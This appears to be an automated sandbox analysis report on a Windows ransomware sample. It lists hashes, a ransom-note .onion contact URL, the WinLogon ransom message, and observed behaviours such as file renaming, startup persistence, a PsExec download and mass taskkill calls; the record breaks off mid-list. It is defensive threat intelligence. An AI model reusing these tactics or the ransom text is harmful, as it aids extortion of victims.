Analysis
-
max time kernel
118s -
max time network
117s -
platform
windows7_x64 -
resource
win7-en-20211014 -
submitted
18-10-2021 16:21
Static task
static1
Behavioral task
behavioral1
Sample
869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe
Resource
win7-en-20211014
Behavioral task
behavioral2
Sample
869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe
Resource
win10-en-20211014
General
-
Target
869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe
-
Size
147KB
-
MD5
3198bf588f0ee33319b419d4a647d7ba
-
SHA1
3bdff0596222f364e4bfc0a5874fda0317e21042
-
SHA256
869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf
-
SHA512
c850bf984b98b52afbc2cc5ef52009bfeb695d165c5466adcb520ba5ce546a56018856021b1230105a0246840cde169e19d4b5ee762766e7bda54995a42f98cc
Malware Config
Extracted
C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt
http://spookuhvfyxzph54ikjfwf2mwmxt572krpom7reyayrmxbkizbvkpaid.onion/chat.php?track=MRGHV9TNE1
Extracted
C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta
http://spookuhvfyxzph54ikjfwf2mwmxt572krpom7reyayrmxbkizbvkpaid.onion/chat.php?track=MRGHV9TNE1
Signatures
-
Downloads MZ/PE file
-
Downloads PsExec from SysInternals website 1 IoCs
Sysinternals tools like PsExec are often leveraged maliciously by malware families due to being commonly used by testers/administrators.
Processes:
description flow ioc HTTP URL 11 http://live.sysinternals.com/PsExec.exe -
Modifies Windows Firewall 1 TTPs
-
Modifies extensions of user files 20 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\TraceFind.raw.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened for modification C:\Users\Admin\Pictures\DismountSkip.raw.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened for modification C:\Users\Admin\Pictures\CheckpointUnpublish.png.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened for modification C:\Users\Admin\Pictures\InitializeAssert.png.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File renamed C:\Users\Admin\Pictures\InstallRegister.tif => C:\Users\Admin\Pictures\InstallRegister.tif.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File renamed C:\Users\Admin\Pictures\ShowSearch.crw => C:\Users\Admin\Pictures\ShowSearch.crw.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File renamed C:\Users\Admin\Pictures\FindMove.tif => C:\Users\Admin\Pictures\FindMove.tif.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened for modification C:\Users\Admin\Pictures\InstallRegister.tif.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File renamed C:\Users\Admin\Pictures\InitializeAssert.png => C:\Users\Admin\Pictures\InitializeAssert.png.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened for modification C:\Users\Admin\Pictures\RenameMerge.crw.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File renamed C:\Users\Admin\Pictures\DismountSkip.raw => C:\Users\Admin\Pictures\DismountSkip.raw.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File renamed C:\Users\Admin\Pictures\ImportExit.crw => C:\Users\Admin\Pictures\ImportExit.crw.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened for modification C:\Users\Admin\Pictures\ShowSearch.crw.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File renamed C:\Users\Admin\Pictures\RenameMerge.crw => C:\Users\Admin\Pictures\RenameMerge.crw.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File renamed C:\Users\Admin\Pictures\TraceFind.raw => C:\Users\Admin\Pictures\TraceFind.raw.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File renamed C:\Users\Admin\Pictures\CheckpointUnpublish.png => C:\Users\Admin\Pictures\CheckpointUnpublish.png.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened for modification C:\Users\Admin\Pictures\ImportExit.crw.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File renamed C:\Users\Admin\Pictures\WriteDisconnect.png => C:\Users\Admin\Pictures\WriteDisconnect.png.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened for modification C:\Users\Admin\Pictures\WriteDisconnect.png.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened for modification C:\Users\Admin\Pictures\FindMove.tif.MRGHV9TNE1 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 796 cmd.exe -
Drops startup file 1 IoCs
Processes:
869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\reload1.lnk 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe -
Drops desktop.ini file(s) 6 IoCs
Processes:
869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exedescription ioc process File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Games\Desktop.ini 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\Desktop.ini 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exedescription ioc process File opened (read-only) \??\F: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\L: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\O: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\P: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\S: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\J: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\K: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\Z: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\V: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\M: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\W: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\A: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\Y: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\I: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\G: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\N: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\R: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\T: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\U: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\H: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\X: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\B: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\Q: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe File opened (read-only) \??\E: 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe -
Modifies WinLogon 2 TTPs 2 IoCs
Processes:
869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "YOUR COMPANY WAS HACKED AND COMPROMISED!!!" 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\nWe has DOWNLOADED of your PRIVATE SENSITIVE Data!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Kills process with taskkill 48 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 1608 taskkill.exe 1564 taskkill.exe 668 taskkill.exe 1616 taskkill.exe 1068 taskkill.exe 1668 taskkill.exe 736 taskkill.exe 568 taskkill.exe 1816 taskkill.exe 1948 taskkill.exe 736 taskkill.exe 1772 taskkill.exe 1160 taskkill.exe 1740 taskkill.exe 432 taskkill.exe 1916 taskkill.exe 840 taskkill.exe 1560 taskkill.exe 1064 taskkill.exe 792 taskkill.exe 1028 taskkill.exe 1896 taskkill.exe 1536 taskkill.exe 1104 taskkill.exe 1028 taskkill.exe 1284 taskkill.exe 1768 taskkill.exe 1108 taskkill.exe 1624 taskkill.exe 2040 taskkill.exe 1364 taskkill.exe 900 taskkill.exe 1284 taskkill.exe 1608 taskkill.exe 1700 taskkill.exe 1624 taskkill.exe 1592 taskkill.exe 320 taskkill.exe 864 taskkill.exe 1612 taskkill.exe 920 taskkill.exe 1108 taskkill.exe 1632 taskkill.exe 2012 taskkill.exe 1540 taskkill.exe 568 taskkill.exe 1940 taskkill.exe 384 taskkill.exe -
Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exepid process 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe -
Suspicious use of AdjustPrivilegeToken 49 IoCs
Processes:
869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepowershell.exedescription pid process Token: SeDebugPrivilege 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe Token: SeDebugPrivilege 384 taskkill.exe Token: SeDebugPrivilege 1916 taskkill.exe Token: SeDebugPrivilege 1632 taskkill.exe Token: SeDebugPrivilege 2040 taskkill.exe Token: SeDebugPrivilege 1896 taskkill.exe Token: SeDebugPrivilege 736 taskkill.exe Token: SeDebugPrivilege 1108 taskkill.exe Token: SeDebugPrivilege 1624 taskkill.exe Token: SeDebugPrivilege 840 taskkill.exe Token: SeDebugPrivilege 1592 taskkill.exe Token: SeDebugPrivilege 1700 taskkill.exe Token: SeDebugPrivilege 1608 taskkill.exe Token: SeDebugPrivilege 1740 taskkill.exe Token: SeDebugPrivilege 1536 taskkill.exe Token: SeDebugPrivilege 1364 taskkill.exe Token: SeDebugPrivilege 1560 taskkill.exe Token: SeDebugPrivilege 1564 taskkill.exe Token: SeDebugPrivilege 1104 taskkill.exe Token: SeDebugPrivilege 668 taskkill.exe Token: SeDebugPrivilege 1028 taskkill.exe Token: SeDebugPrivilege 1160 taskkill.exe Token: SeDebugPrivilege 1284 taskkill.exe Token: SeDebugPrivilege 2012 taskkill.exe Token: SeDebugPrivilege 568 taskkill.exe Token: SeDebugPrivilege 900 taskkill.exe Token: SeDebugPrivilege 1816 taskkill.exe Token: SeDebugPrivilege 320 taskkill.exe Token: SeDebugPrivilege 1948 taskkill.exe Token: SeDebugPrivilege 1612 taskkill.exe Token: SeDebugPrivilege 1616 taskkill.exe Token: SeDebugPrivilege 1768 taskkill.exe Token: SeDebugPrivilege 1540 taskkill.exe Token: SeDebugPrivilege 1064 taskkill.exe Token: SeDebugPrivilege 1284 taskkill.exe Token: SeDebugPrivilege 736 taskkill.exe Token: SeDebugPrivilege 568 taskkill.exe Token: SeDebugPrivilege 1068 taskkill.exe Token: SeDebugPrivilege 792 taskkill.exe Token: SeDebugPrivilege 1108 taskkill.exe Token: SeDebugPrivilege 1772 taskkill.exe Token: SeDebugPrivilege 920 taskkill.exe Token: SeDebugPrivilege 1624 taskkill.exe Token: SeDebugPrivilege 1940 taskkill.exe Token: SeDebugPrivilege 432 taskkill.exe Token: SeDebugPrivilege 1028 taskkill.exe Token: SeDebugPrivilege 1668 taskkill.exe Token: SeDebugPrivilege 1608 taskkill.exe Token: SeDebugPrivilege 1700 powershell.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
Processes:
869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exepid process 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe -
Suspicious use of SendNotifyMessage 3 IoCs
Processes:
869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exepid process 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exedescription pid process target process PID 1360 wrote to memory of 384 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe PID 1360 wrote to memory of 384 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe PID 1360 wrote to memory of 384 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe PID 1360 wrote to memory of 384 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe PID 1360 wrote to memory of 1892 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe reg.exe PID 1360 wrote to memory of 1892 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe reg.exe PID 1360 wrote to memory of 1892 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe reg.exe PID 1360 wrote to memory of 1892 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe reg.exe PID 1360 wrote to memory of 1192 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe reg.exe PID 1360 wrote to memory of 1192 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe reg.exe PID 1360 wrote to memory of 1192 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe reg.exe PID 1360 wrote to memory of 1192 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe reg.exe PID 1360 wrote to memory of 1092 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe schtasks.exe PID 1360 wrote to memory of 1092 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe schtasks.exe PID 1360 wrote to memory of 1092 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe schtasks.exe PID 1360 wrote to memory of 1092 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe schtasks.exe PID 1360 wrote to memory of 1460 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1460 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1460 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1460 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1064 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1064 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1064 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1064 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 2028 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 2028 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 2028 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 2028 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1356 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1356 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1356 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1356 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1828 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1828 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1828 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1828 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1412 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1412 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1412 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1412 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1720 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1720 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1720 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1720 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 2016 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 2016 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 2016 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 2016 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe sc.exe PID 1360 wrote to memory of 1916 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe PID 1360 wrote to memory of 1916 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe PID 1360 wrote to memory of 1916 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe PID 1360 wrote to memory of 1916 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe PID 1360 wrote to memory of 1632 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe PID 1360 wrote to memory of 1632 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe PID 1360 wrote to memory of 1632 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe PID 1360 wrote to memory of 1632 1360 